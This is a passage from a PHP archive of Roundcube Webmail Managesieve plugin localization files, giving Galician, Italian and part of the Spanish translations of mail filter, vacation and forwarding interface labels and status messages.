 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Xestionar os filtros de correo entrante';
$labels['filtername'] = 'Nome do filtro';
$labels['newfilter'] = 'Novo filtro';
$labels['filteradd'] = 'Engadir filtro';
$labels['filterdel'] = 'Eliminar filtro';
$labels['scope'] = 'Alcance';
$labels['moveup'] = 'Mover arriba';
$labels['movedown'] = 'Mover abaixo';
$labels['filterallof'] = 'coincidir con todas as regras seguintes';
$labels['filteranyof'] = 'coincidir con algunha das regras seguintes';
$labels['filterany'] = 'todas as mensaxes';
$labels['filtercontains'] = 'contén';
$labels['filternotcontains'] = 'non contén';
$labels['filteris'] = 'é igual a';
$labels['filterisnot'] = 'non é igual a';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'non existe';
$labels['filtermatches'] = 'casa coa expresión';
$labels['filternotmatches'] = 'non casa coa expresión';
$labels['filterregex'] = 'casa coa expresión regular';
$labels['filternotregex'] = 'non casa coa expresión regular';
$labels['filterunder'] = 'baixo';
$labels['filterover'] = 'sobre';
$labels['addrule'] = 'Engadir regra';
$labels['delrule'] = 'Eliminar regra';
$labels['messagemoveto'] = 'Mover a mensaxe a';
$labels['messageredirect'] = 'Redirixir a mensaxe a';
$labels['messagecopyto'] = 'Copiar a mensaxe a';
$labels['messagesendcopy'] = 'Enviar copia da mensaxe a';
$labels['messagereply'] = 'Respostar con unha mensaxe';
$labels['messagedelete'] = 'Eliminar a mensaxe';
$labels['messagediscard'] = 'Descartar con unha mensaxe';
$labels['messagekeep'] = 'Manter mensaxe na caixa de entrada';
$labels['messagesrules'] = 'Para o correo entrante:';
$labels['messagesactions'] = '... executar as seguintes accións:';
$labels['add'] = 'Engadir';
$labels['del'] = 'Eliminar';
$labels['sender'] = 'Remite';
$labels['recipient'] = 'Persoa destinataria';
$labels['vacationdays'] = 'Cada canto enviar mensaxes (en días):';
$labels['vacationinterval'] = 'Con que frecuencia se van enviar mensaxes:';
$labels['vacationreason'] = 'Corpo da mensaxe (por vacacións):';
$labels['vacationsubject'] = 'Asunto da mensaxe:';
$labels['days'] = 'días';
$labels['seconds'] = 'segundos';
$labels['rulestop'] = 'Parar de avaliar regras';
$labels['enable'] = 'Activar/Desactivar';
$labels['filtersets'] = 'Conxunto de filtros';
$labels['filterdef'] = 'Definición de filtros';
$labels['active'] = 'activo';
$labels['none'] = 'ningún';
$labels['fromset'] = 'de conxunto';
$labels['fromfile'] = 'de arquivo';
$labels['filterdisabled'] = 'Filtro desactivado';
$labels['countisgreaterthan'] = 'a conta é maior que';
$labels['countisgreaterthanequal'] = 'a conta é maior ou igual a';
$labels['countislessthan'] = 'a conta é menor que';
$labels['countislessthanequal'] = 'a conta é menor ou igual a';
$labels['countequals'] = 'a conta é igual a';
$labels['countnotequals'] = 'a conta non é igual a';
$labels['valueisgreaterthan'] = 'o valor é meirande que ';
$labels['valueisgreaterthanequal'] = 'o valor é maior ou igual a';
$labels['valueislessthan'] = 'o valor é menor que';
$labels['valueislessthanequal'] = 'o valor é menor ou igual a';
$labels['valueequals'] = 'o valor é igual a';
$labels['valuenotequals'] = 'o valor non é igual a';
$labels['setflags'] = 'Marcar a mensaxe';
$labels['addflags'] = 'Engadir marcas á mensaxe';
$labels['removeflags'] = 'Desmarcar as mensaxes';
$labels['flagread'] = 'Lidas';
$labels['flagdeleted'] = 'Eliminadas';
$labels['flaganswered'] = 'Respostadas';
$labels['flagflagged'] = 'Marcadas';
$labels['flagdraft'] = 'Borrador';
$labels['setvariable'] = 'Estabelecer variábel';
$labels['setvarname'] = 'Nome da variábel:';
$labels['setvarvalue'] = 'Valor da variábel:';
$labels['setvarmodifiers'] = 'Modificadores:';
$labels['varlower'] = 'minúscula';
$labels['varupper'] = 'maiúscula';
$labels['varlowerfirst'] = 'primeira letra minúscula';
$labels['varupperfirst'] = 'primeira letra maiúscula';
$labels['varquotewildcard'] = 'poñer entre aspas caracteres especiais';
$labels['varlength'] = 'lonxitude';
$labels['notify'] = 'Enviar notificación';
$labels['notifyimportance'] = 'Importancia:';
$labels['notifyimportancelow'] = 'baixa';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Correo electrónico';
$labels['notifymethodtel'] = 'Teléfono';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Crear filtro';
$labels['usedata'] = 'Usar os seguintes datos no filtro:';
$labels['nextstep'] = 'Seguinte paso';
$labels['...'] = '...';
$labels['currdate'] = 'Data actual';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'cabeceira:';
$labels['year'] = 'ano';
$labels['month'] = 'mes';
$labels['day'] = 'día';
$labels['date'] = 'data (aaaa-mm-dd)';
$labels['julian'] = 'data (xuliano)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minuto';
$labels['second'] = 'segundo';
$labels['time'] = 'tempo (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'fuso-horario';
$labels['weekday'] = 'día da semana (0-6)';
$labels['advancedopts'] = 'Opcións avanzadas';
$labels['body'] = 'Corpo';
$labels['address'] = 'enderezo';
$labels['envelope'] = 'sobre';
$labels['modifier'] = 'modificador:';
$labels['text'] = 'texto';
$labels['undecoded'] = 'sen codificar (en bruto)';
$labels['contenttype'] = 'tipo de contido';
$labels['modtype'] = 'tipo:';
$labels['allparts'] = 'todos';
$labels['domain'] = 'dominio';
$labels['localpart'] = 'parte local';
$labels['user'] = 'utente';
$labels['detail'] = 'detalle';
$labels['comparator'] = 'comparador:';
$labels['default'] = 'predeterminado';
$labels['octet'] = 'estricto (octeto)';
$labels['asciicasemap'] = 'non sensíbel a maiúsculas/minúsculas (ascii-casemap)';
$labels['asciinumeric'] = 'numérico (ascii-numerico)';
$labels['index'] = 'índice:';
$labels['indexlast'] = 'atrás';
$labels['spamtestequals'] = 'é igual a';
$labels['spamtestnotequals'] = 'non é igual a';
$labels['vacation.reply'] = 'Respostar á mensaxe';
$labels['vacation.advanced'] = 'Opcións avanzadas';
$labels['vacation.subject'] = 'Asunto';
$labels['vacation.body'] = 'Corpo';
$labels['vacation.status'] = 'Estado';
$labels['vacation.on'] = 'Activar';
$labels['vacation.off'] = 'Desactivar';
$labels['vacation.saving'] = 'Gardando datos...';
$labels['vacation.keep'] = 'Manter';
$labels['vacation.discard'] = 'Descartar';
$labels['vacation.redirect'] = 'Redirixir a';
$labels['vacation.copy'] = 'Enviar copia a';
$labels['forward.redirect'] = 'Redirixir a';
$labels['forward.copy'] = 'Enviar copia a';
$labels['forward.on'] = 'Activar';
$labels['forward.off'] = 'Desactivar';
$labels['forward.saving'] = 'Gardando datos...';
$labels['arialabelfilteractions'] = 'Accións de filtrado';
$labels['arialabelfilterform'] = 'Propiedades dos filtros';
$labels['ariasummaryfilterslist'] = 'Lista de filtros';
$labels['duplicate.header'] = 'cabeceira:';
$messages['filterunknownerror'] = 'Erro descoñecido do servidor';
$messages['filterconnerror'] = 'Imposíbel conectar co servidor.';
$messages['filterdeleteerror'] = 'Non se pode eliminar filtro. Produciuse un erro de servidor.';
$messages['filterdeleted'] = 'Filtro borrado con éxito';
$messages['filtersaved'] = 'Filtro gardado con éxito';
$messages['filtersaveerror'] = 'Non se puido gardar filtro. Produciuse un erro de servidor.';
$messages['filterdeleteconfirm'] = 'Realmente queres eliminar o filtro seleccionado?';
$messages['ruledeleteconfirm'] = 'Seguro que queres eliminar a regra seleccionada?';
$messages['actiondeleteconfirm'] = 'Seguro que queres eliminar a acción seleccionada?';
$messages['forbiddenchars'] = 'Caracteres non permitidos no campo';
$messages['cannotbeempty'] = 'O campo non pode estar baleiro';
$messages['ruleexist'] = 'Xa existe un filtro co nome especificado.';
$messages['activateerror'] = 'Non é posíbel activar o(s) filtro(s) seleccionado(s). Produciuse un erro de servidor.';
$messages['deactivateerror'] = 'Incapaz de desactivar filtro(s) seleccionado(s). Produciuse un erro de servidor.';
$messages['deactivated'] = 'Desactiváronse os filtros correctamente.';
$messages['activated'] = 'Activáronse os filtros correctamente';
$messages['moved'] = 'Moveuse correctamente o filtro.';
$messages['moveerror'] = 'Non se pode mover o filtro seleccionado. Produciuse un erro de servidor.';
$messages['nametoolong'] = 'Imposíbel crear o conxunto de filtros. O nome é longo de máis';
$messages['namereserved'] = 'Nome reservado';
$messages['setexist'] = 'Xa existe o conxunto';
$messages['nodata'] = 'É preciso seleccionar polo menos unha posición!';
$messages['invaliddateformat'] = 'Formato de data ou parte dos datos non válidos';
PKh�\��U9U9*plugins/managesieve/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtri';
$labels['managefilters'] = 'Gestione dei filtri per la posta in arrivo';
$labels['filtername'] = 'Nome del filtro';
$labels['newfilter'] = 'Nuovo filtro';
$labels['filteradd'] = 'Aggiungi filtro';
$labels['filterdel'] = 'Elimina filtro';
$labels['rules'] = 'Regole';
$labels['actions'] = 'Azioni';
$labels['scope'] = 'Contesto';
$labels['moveup'] = 'Sposta sopra';
$labels['movedown'] = 'Sposta sotto';
$labels['filterallof'] = 'che soddisfa tutte le regole seguenti';
$labels['filteranyof'] = 'che soddisfa una qualsiasi delle regole seguenti';
$labels['filterany'] = 'tutti i messaggi';
$labels['filtercontains'] = 'contiene';
$labels['filternotcontains'] = 'non contiene';
$labels['filteris'] = 'è uguale a';
$labels['filterisnot'] = 'è diverso da';
$labels['filterexists'] = 'esiste';
$labels['filternotexists'] = 'non esiste';
$labels['filtermatches'] = 'corrisponde all\'espressione';
$labels['filternotmatches'] = 'non corrisponde all\'espressione';
$labels['filterregex'] = 'corrisponde all\'espressione regolare';
$labels['filternotregex'] = 'non corrisponde all\'espressione regolare';
$labels['filterunder'] = 'sotto';
$labels['filterover'] = 'sopra';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Parte MIME:';
$labels['mime-message'] = 'messaggio';
$labels['mime-anychild'] = 'qualsiasi';
$labels['mime-type'] = 'tipo';
$labels['mime-subtype'] = 'sottotipo';
$labels['mime-contenttype'] = 'tipo contenuto';
$labels['mime-param'] = 'parametro';
$labels['addrule'] = 'Aggiungi regola';
$labels['delrule'] = 'Elimina regola';
$labels['messagemoveto'] = 'Sposta il messaggio in';
$labels['messageredirect'] = 'Inoltra il messaggio a';
$labels['messagecopyto'] = 'Copia messaggio in';
$labels['messagesendcopy'] = 'Invia copia a';
$labels['messagereply'] = 'Rispondi con messaggio';
$labels['messagedelete'] = 'Elimina il messaggio';
$labels['messagediscard'] = 'Rifiuta con messaggio';
$labels['messagekeep'] = 'Mantieni messaggio nella posta in arrivo';
$labels['messagesrules'] = 'Per la posta in arrivo';
$labels['messagesactions'] = '...esegui le seguenti azioni:';
$labels['add'] = 'Aggiungi';
$labels['del'] = 'Elimina';
$labels['sender'] = 'Mittente';
$labels['recipient'] = 'Destinatario';
$labels['vacationaddr'] = 'I miei indirizzi di posta:';
$labels['vacationdays'] = 'Ogni quanti giorni ribadire il messaggio allo stesso mittente';
$labels['vacationinterval'] = 'Ogni quanto tempo inviare i messaggi:';
$labels['vacationreason'] = 'Corpo del messaggio (dettagli relativi all\'assenza):';
$labels['vacationfrom'] = 'Indirizzo di risposta del mittente:';
$labels['vacationsubject'] = 'Oggetto del messaggio';
$labels['days'] = 'giorni';
$labels['seconds'] = 'secondi';
$labels['rulestop'] = 'Non valutare le regole successive';
$labels['enable'] = 'Abilita/disabilita';
$labels['filterset'] = 'Gruppo di filtri';
$labels['filtersets'] = 'Gruppi di filtri';
$labels['filtersetadd'] = 'Aggiungi gruppo di filtri';
$labels['filtersetdel'] = 'Elimina gruppo di filtri';
$labels['filtersetact'] = 'Attiva il gruppo di filtri corrente';
$labels['filtersetdeact'] = 'Disattiva il gruppo di filtri corrente';
$labels['filterseteditraw'] = 'Modifica gruppo di filtri';
$labels['filtersetswitch'] = 'Abilita/disabilita gruppo di filtri';
$labels['filterdef'] = 'Definizione del filtro';
$labels['filtersetname'] = 'Nome del gruppo di filtri';
$labels['newfilterset'] = 'Nuovo gruppo di filtri';
$labels['active'] = 'attivo';
$labels['none'] = 'nessuno';
$labels['fromset'] = 'dal gruppo';
$labels['fromfile'] = 'dal file';
$labels['filterdisabled'] = 'Filtro disabilitato';
$labels['filterenabled'] = 'Filtro abilitato';
$labels['countisgreaterthan'] = 'somma maggiore di';
$labels['countisgreaterthanequal'] = 'somma maggiore uguale  a';
$labels['countislessthan'] = 'somma minore di';
$labels['countislessthanequal'] = 'somma minore o uguale a';
$labels['countequals'] = 'somma uguale a';
$labels['countnotequals'] = 'il conteggio non è uguale a';
$labels['valueisgreaterthan'] = 'valore maggiore di';
$labels['valueisgreaterthanequal'] = 'valore maggiore uguale a';
$labels['valueislessthan'] = 'valore minore di';
$labels['valueislessthanequal'] = 'valore minore uguale di';
$labels['valueequals'] = 'valore uguale a';
$labels['valuenotequals'] = 'il valore non è uguale a';
$labels['setflags'] = 'Contrassegna il messaggio';
$labels['addflags'] = 'Aggiungi contrassegni al messaggio';
$labels['removeflags'] = 'Rimuovi contrassegni dal messaggio';
$labels['flagread'] = 'Letto';
$labels['flagdeleted'] = 'Eliminato';
$labels['flaganswered'] = 'Risposto';
$labels['flagflagged'] = 'Contrassegnato';
$labels['flagdraft'] = 'Bozza';
$labels['addheader'] = 'Aggiungi intestazioni al messaggio';
$labels['deleteheader'] = 'Rimuovi intestazioni al messaggio';
$labels['headername'] = 'Nome dell\'intestazione';
$labels['headervalue'] = 'Valore dell\'intestazione';
$labels['headerpos'] = 'Posizione dell\'intestazione';
$labels['headeratstart'] = 'all\'inizio';
$labels['headeratend'] = 'alla fine';
$labels['headeroccurrence'] = 'Intestazione occorrenza/posizione';
$labels['headerfromstart'] = 'dall\'inizio';
$labels['headerfromend'] = 'dalla fine';
$labels['headerpatterns'] = 'Modelli di valore dell\'intestazione';
$labels['headermatchtype'] = 'tipo di corrispondenza:';
$labels['setvariable'] = 'Imposta variabile';
$labels['setvarname'] = 'Nome variabile:';
$labels['setvarvalue'] = 'Valore variabile:';
$labels['setvarmodifiers'] = 'Modificatori:';
$labels['varlower'] = 'minuscole';
$labels['varupper'] = 'maiuscole';
$labels['varlowerfirst'] = 'primo carattere minuscolo';
$labels['varupperfirst'] = 'primo carattere maiuscolo';
$labels['varquotewildcard'] = 'caratteri speciali di quoting';
$labels['varlength'] = 'lunghezza';
$labels['notify'] = 'Invia notifica';
$labels['notifytarget'] = 'Destinatario della notifica:';
$labels['notifymessage'] = 'Messaggio di notifica (opzionale):';
$labels['notifyoptions'] = 'Opzioni di notifica (opzionale):';
$labels['notifyfrom'] = 'Mittente della notifica (opzionale):';
$labels['notifyimportance'] = 'Importanza:';
$labels['notifyimportancelow'] = 'bassa';
$labels['notifyimportancenormal'] = 'normale';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefono';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Crea filtro';
$labels['usedata'] = 'Utilizza i seguenti dati nel filtro';
$labels['nextstep'] = 'Passo successivo';
$labels['...'] = '...';
$labels['string'] = 'Stringa';
$labels['currdate'] = 'Data attuale';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'intestazione:';
$labels['year'] = 'anno';
$labels['month'] = 'mese';
$labels['day'] = 'giorno';
$labels['date'] = 'data (aaaa-mm-gg)';
$labels['julian'] = 'data (giuliana)';
$labels['hour'] = 'ora';
$labels['minute'] = 'minuto';
$labels['second'] = 'secondo';
$labels['time'] = 'ora (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'fuso orario';
$labels['weekday'] = 'giorno della settimana (0-6)';
$labels['advancedopts'] = 'Opzioni avanzate';
$labels['body'] = 'Corpo';
$labels['address'] = 'indirizzo';
$labels['envelope'] = 'busta';
$labels['modifier'] = 'modificatore:';
$labels['text'] = 'testo';
$labels['undecoded'] = 'non decodificato (raw)';
$labels['contenttype'] = 'tipo di contenuto';
$labels['modtype'] = 'tipo:';
$labels['allparts'] = 'tutto';
$labels['domain'] = 'dominio';
$labels['localpart'] = 'parte locale';
$labels['user'] = 'user';
$labels['detail'] = 'dettaglio';
$labels['comparator'] = 'comparatore:';
$labels['default'] = 'predefinito';
$labels['octet'] = 'esatto (octet)';
$labels['asciicasemap'] = 'non differenziare maiuscole/minuscole (ascii-casemap)';
$labels['asciinumeric'] = 'numerico (ascii-numeric)';
$labels['index'] = 'indice:';
$labels['indexlast'] = 'indietro';
$labels['spamtest'] = 'Livello spam';
$labels['spamtestisgreaterthan'] = 'è più grande di';
$labels['spamtestisgreaterthanequal'] = 'è maggiore o uguale a';
$labels['spamtestislessthan'] = 'è meno di';
$labels['spamtestislessthanequal'] = 'è minore o uguale a';
$labels['spamtestequals'] = 'è uguale a';
$labels['spamtestnotequals'] = 'è diverso da';
$labels['spamtestisunknown'] = 'è sconosciuto';
$labels['vacation'] = 'Fuori ufficio';
$labels['vacation.reply'] = 'Messaggio di risposta';
$labels['vacation.advanced'] = 'Impostazioni avanzate';
$labels['vacation.from'] = 'Indirizzo di risposta del mittente:';
$labels['vacation.subject'] = 'Oggetto';
$labels['vacation.body'] = 'Testo';
$labels['vacation.start'] = 'Data di inizio';
$labels['vacation.end'] = 'Data di fine';
$labels['vacation.status'] = 'Stato';
$labels['vacation.on'] = 'Attivato';
$labels['vacation.off'] = 'Disattivato';
$labels['vacation.addresses'] = 'I miei indirizzi di posta';
$labels['vacation.interval'] = 'Intervallo di risposta';
$labels['vacation.after'] = 'Inserisci la regola di vacanza dopo';
$labels['vacation.saving'] = 'Salvataggio...';
$labels['vacation.action'] = 'Azione messaggio in arrivo';
$labels['vacation.keep'] = 'Mantieni';
$labels['vacation.discard'] = 'Scarta';
$labels['vacation.redirect'] = 'Ridireziona a';
$labels['vacation.copy'] = 'Invia copia a';
$labels['forward'] = 'Inoltro';
$labels['forward.redirect'] = 'Ridireziona a';
$labels['forward.copy'] = 'Invia copia a';
$labels['forward.on'] = 'Attivato';
$labels['forward.off'] = 'Disattivato';
$labels['forward.status'] = 'Stato:';
$labels['forward.action'] = 'Esegui le seguenti azioni all\'arrivo di messaggi di posta:';
$labels['forward.saving'] = 'Salvataggio...';
$labels['filladdresses'] = 'Riempire con tutti i miei indirizzi';
$labels['arialabelfiltersetactions'] = 'Azione gruppi di filtri ';
$labels['arialabelfilteractions'] = 'Azione filtri';
$labels['arialabelfilterform'] = 'Proprietà filtri';
$labels['ariasummaryfilterslist'] = 'Lista dei filtri';
$labels['ariasummaryfiltersetslist'] = 'Lista di grippi di filtri';
$labels['filterstitle'] = 'Modifica filtri dei messaggio in arrivo';
$labels['vacationtitle'] = 'Modifica le regole del Risponditore automatico';
$labels['forwardtitle'] = 'Modifica le regole di inoltro della posta';
$labels['message'] = 'Messaggio';
$labels['duplicate'] = 'è duplicato';
$labels['notduplicate'] = 'non è duplicato';
$labels['duplicate.handle'] = 'gestore:';
$labels['duplicate.header'] = 'intestazione:';
$labels['duplicate.uniqueid'] = 'identificatore:';
$labels['duplicate.seconds'] = 'timeout (secondi):';
$labels['duplicate.last'] = 'rispetto all\'ultima esecuzione';
$messages['filterunknownerror'] = 'Errore sconosciuto del server.';
$messages['filterconnerror'] = 'Collegamento non riuscito al server.';
$messages['filterdeleteerror'] = 'Eliminazione del filtro non riuscita. Si è verificato un errore nel server.';
$messages['filterdeleted'] = 'Filtro eliminato correttamente.';
$messages['filtersaved'] = 'Filtro salvato correttamente.';
$messages['filtersaveerror'] = 'Salvataggio del filtro non riuscito. Si è verificato un errore nel server.';
$messages['filterformerror'] = 'Il modulo del filtro contiene errori.';
$messages['filterdeleteconfirm'] = 'Vuoi veramente eliminare il filtro selezionato?';
$messages['ruledeleteconfirm'] = 'Sei sicuro di voler eliminare la regola selezionata?';
$messages['actiondeleteconfirm'] = 'Sei sicuro di voler eliminare l\'azione selezionata?';
$messages['forbiddenchars'] = 'Caratteri non consentiti nel campo.';
$messages['cannotbeempty'] = 'Il campo non può essere vuoto.';
$messages['ruleexist'] = 'Esiste già un filtro con questo nome.';
$messages['setactivateerror'] = 'Impossibile attivare il gruppo di filtri selezionato. Errore del server.';
$messages['setdeactivateerror'] = 'Impossibile disattivare il gruppo di filtri selezionato. Errore del server.';
$messages['setdeleteerror'] = 'Impossibile eliminare il gruppo di filtri selezionato. Errore del server.';
$messages['setactivated'] = 'Gruppo di filtri attivato correttamente.';
$messages['setdeactivated'] = 'Gruppo di filtri disattivato correttamente.';
$messages['setdeleted'] = 'Gruppo di filtri eliminato correttamente.';
$messages['setupdated'] = 'Gruppo di filtri aggiornato correttamente.';
$messages['setdeleteconfirm'] = 'Sei sicuro di voler eliminare il gruppo di filtri selezionato?';
$messages['setcreateerror'] = 'Impossibile creare il gruppo di filtri. Errore del server.';
$messages['setcreated'] = 'Gruppo di filtri creato correttamente.';
$messages['activateerror'] = 'Impossibile abilitare i filtri selezionati. Errore del server.';
$messages['deactivateerror'] = 'Impossibile disabilitare i filtri selezionati. Errore del server.';
$messages['deactivated'] = 'Filtro/i disabilitato/i correttamente.';
$messages['activated'] = 'Filtro/i abilitato/i correttamente.';
$messages['moved'] = 'Filtro/i spostato/i correttamente.';
$messages['moveerror'] = 'Impossibile spostare il filtro selezionato. Errore del server.';
$messages['nametoolong'] = 'Nome troppo lungo.';
$messages['namereserved'] = 'Nome riservato.';
$messages['setexist'] = 'Il gruppo esiste già.';
$messages['nodata'] = 'Selezionare almeno una posizione.';
$messages['invaliddateformat'] = 'Formato della data non valido';
$messages['saveerror'] = 'Impossibile salvare i dati. Errore del server.';
$messages['vacationsaved'] = 'Dati di vacanza salvati correttamente.';
$messages['forwardsaved'] = 'Dati di inoltro salvati correttamente.';
$messages['emptyvacationbody'] = 'Il testo del messaggio non può essere vuoto!';
$messages['duplicate.conflict.err'] = 'Sia l\'intestazione che l\'identificatore univoco non sono consentiti.';
$messages['disabledaction'] = 'Azione non permessa.';
$messages['lastindexempty'] = 'L\'indice è richiesto quando si conta dalla fine';
$messages['noflagset'] = 'Deve essere selezionato almeno un flag.';
PKh�\�9��+;+;*plugins/managesieve/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Administrar filtros de correo entrante';
$labels['filtername'] = 'Nombre del filtro';
$labels['newfilter'] = 'Nuevo filtro';
$labels['filteradd'] = 'Añadir filtro';
$labels['filterdel'] = 'Eliminar filtro';
$labels['rules'] = 'Reglas';
$labels['actions'] = 'Acciones';
$labels['scope'] = 'Ámbito';
$labels['moveup'] = 'Mover arriba';
$labels['movedown'] = 'Mover abajo';
$labels['filterallof'] = 'que coincida con todas las reglas siguientes';
$labels['filteranyof'] = 'que coincida con cualquiera de las reglas siguientes';
$labels['filterany'] = 'todos los mensajes';
$labels['filtercontains'] = 'contiene';
$labels['filternotcontains'] = 'no contiene';
$labels['filteris'] = 'es igual a';
$labels['filterisnot'] = 'no es igual a';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'no existe';
$labels['filtermatches'] = 'coincide con la expresión';
$labels['filternotmatches'] = 'no coincide con la expresión';
$labels['filterregex'] = 'coincide con la expresión regular';
$labels['filternotregex'] = 'no coincide con la expresión regular';
$labels['filterunder'] = 'bajo';
$labels['filterover'] = 'sobre';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Parte MIME:';
$labels['mime-message'] = 'mensaje';
$labels['mime-anychild'] = 'cualquiera';
$labels['mime-type'] = 'tipo';
$labels['mime-subtype'] = 'subtipo';
$labels['mime-contenttype'] = 'tipo de contenido';
$labels['mime-param'] = 'parámetro';
$labels['addrule'] = 'Añadir regla';
$labels['delrule'] = 'Eliminar regla';
$labels['messagemoveto'] = 'Mover mensaje a';
$labels['messageredirect'] = 'Redirigir mensaje a';
$labels['messagecopyto'] = 'Copiar mensaje a';
$labels['messagesendcopy'] = 'Enviar copia del mensaje a';
$labels['messagereply'] = 'Responder con un mensaje';
$labels['messagedelete'] = 'Eliminar mensaje';
$labels['messagediscard'] = 'Descartar con un mensaje';
$labels['messagekeep'] = 'Mantener el mensaje en la bandeja de entrada';
$labels['messagesrules'] = 'Para el correo entrante:';
$labels['messagesactions'] = '... ejecutar las siguientes acciones:';
$labels['add'] = 'Añadir';
$labels['del'] = 'Eliminar';
$labels['sender'] = 'Remitente';
$labels['recipient'] = 'Destinatario';
$labels['vacationaddr'] = 'Mis direcciones de correo electrónico:';
$labels['vacationdays'] = 'Cada cuánto enviar mensajes (en días):';
$labels['vacationinterval'] = 'Cada cuánto enviar mensajes:';
$labels['vacationreason'] = 'Cuerpo del mensaje (razón de vacaciones):';
$labels['vacationfrom'] = 'Responder a la dirección del remitente:';
$labels['vacationsubject'] = 'Asunto del mensaje:';
$labels['days'] = 'días';
$labels['seconds'] = 'segundos';
$labels['rulestop'] = 'Parar de evaluar reglas';
$labels['enable'] = 'Habilitar/Deshabilitar';
$labels['filterset'] = 'Conjunto de filtros';
$labels['filtersets'] = 'Conjuntos de filtros';
$labels['filtersetadd'] = 'Agregar conjunto de filtros';
$labels['filtersetdel'] = 'Eliminar conjunto de filtros';
$labels['filtersetact'] = 'Activar este conjunto de filtros';
$labels['filtersetdeact'] = 'Desactivar este conjunto de filtros';
$labels['filterseteditraw'] = 'Editar conjunto de filtros';
$labels['filtersetswitch'] = 'Habilitar/deshabilitar conjunto de filtros';
$labels['filterdef'] = 'Creación de filtros';
$labels['filtersetname'] = 'Nombre del conjunto de filtros';
$labels['newfilterset'] = 'Nuevo conjunto de filtros';
$labels['active'] = 'Activar';
$labels['none'] = 'ninguno';
$labels['fromset'] = 'desde conjunto';
$labels['fromfile'] = 'desde archivo';
$labels['filterdisabled'] = 'Filtro desactivado';
$labels['filterenabled'] = 'Filtro activado';
$labels['countisgreaterthan'] = 'contiene más que';
$labels['countisgreaterthanequal'] = 'contiene más o igual que';
$labels['countislessthan'] = 'contiene menos que';
$labels['countislessthanequal'] = 'contiene menos o igual que';
$labels['countequals'] = 'contiene igual que';
$labels['countnotequals'] = 'la longitud no es igual a';
$labels['valueisgreaterthan'] = 'el valor es mayor que';
$labels['valueisgreaterthanequal'] = 'el valor es mayor o igual que';
$labels['valueislessthan'] = 'el valor es menor que';
$labels['valueislessthanequal'] = 'el valor es menor o igual que';
$labels['valueequals'] = 'el valor es igual que';
$labels['valuenotequals'] = 'el valor no es igual a';
$labels['setflags'] = 'Etiquetar el mensaje';
$labels['addflags'] = 'Agregar etiquetas al mensaje';
$labels['removeflags'] = 'Eliminar etiquetas del mensaje';
$labels['flagread'] = 'Leído';
$labels['flagdeleted'] = 'Eliminado';
$labels['flaganswered'] = 'Respondido';
$labels['flagflagged'] = 'Marcado';
$labels['flagdraft'] = 'Borrador';
$labels['addheader'] = 'Agregar encabezado al mensaje';
$labels['deleteheader'] = 'Eliminar encabezado del mensaje';
$labels['headername'] = 'Nombre del encabezado';
$labels['headervalue'] = 'Valor del encabezado';
$labels['headerpos'] = 'Posición del encabezado';
$labels['headeratstart'] = 'al principio';
$labels['headeratend'] = 'al final';
$labels['headeroccurrence'] = 'Posición/aparición del encabezado';
$labels['headerfromstart'] = 'desde el principio';
$labels['headerfromend'] = 'desde el final';
$labels['headerpatterns'] = 'Patrones del valor del encabezado';
$labels['headermatchtype'] = 'tipo de coincidencia:';
$labels['setvariable'] = 'Establecer variable';
$labels['setvarname'] = 'Nombre de la variable:';
$labels['setvarvalue'] = 'Valor de la variable:';
$labels['setvarmodifiers'] = 'Modificadores';
$labels['varlower'] = 'minúsculas';
$labels['varupper'] = 'mayúsculas';
$labels['varlowerfirst'] = 'primer caracter en minúsculas';
$labels['varupperfirst'] = 'primer caracter en mayúsculas';
$labels['varquotewildcard'] = 'entrecomillar caracteres especiales';
$labels['varlength'] = 'longitud';
$labels['notify'] = 'Enviar notificación';
$labels['notifytarget'] = 'Destino de la notificación:';
$labels['notifymessage'] = 'Mensaje de notificación (opcional):';
$labels['notifyoptions'] = 'Opciones de notificación (opcional):';
$labels['notifyfrom'] = 'Remitente de la notificación (opcional):';
$labels['notifyimportance'] = 'Importancia:';
$labels['notifyimportancelow'] = 'baja';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Correo electrónico';
$labels['notifymethodtel'] = 'Teléfono';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Crear filtro';
$labels['usedata'] = 'Usar los siguientes datos en el filtro:';
$labels['nextstep'] = 'Siguiente paso';
$labels['...'] = '...';
$labels['string'] = 'Secuencia';
$labels['currdate'] = 'Fecha actual';
$labels['datetest'] = 'Fecha';
$labels['dateheader'] = 'cabecera:';
$labels['year'] = 'año';
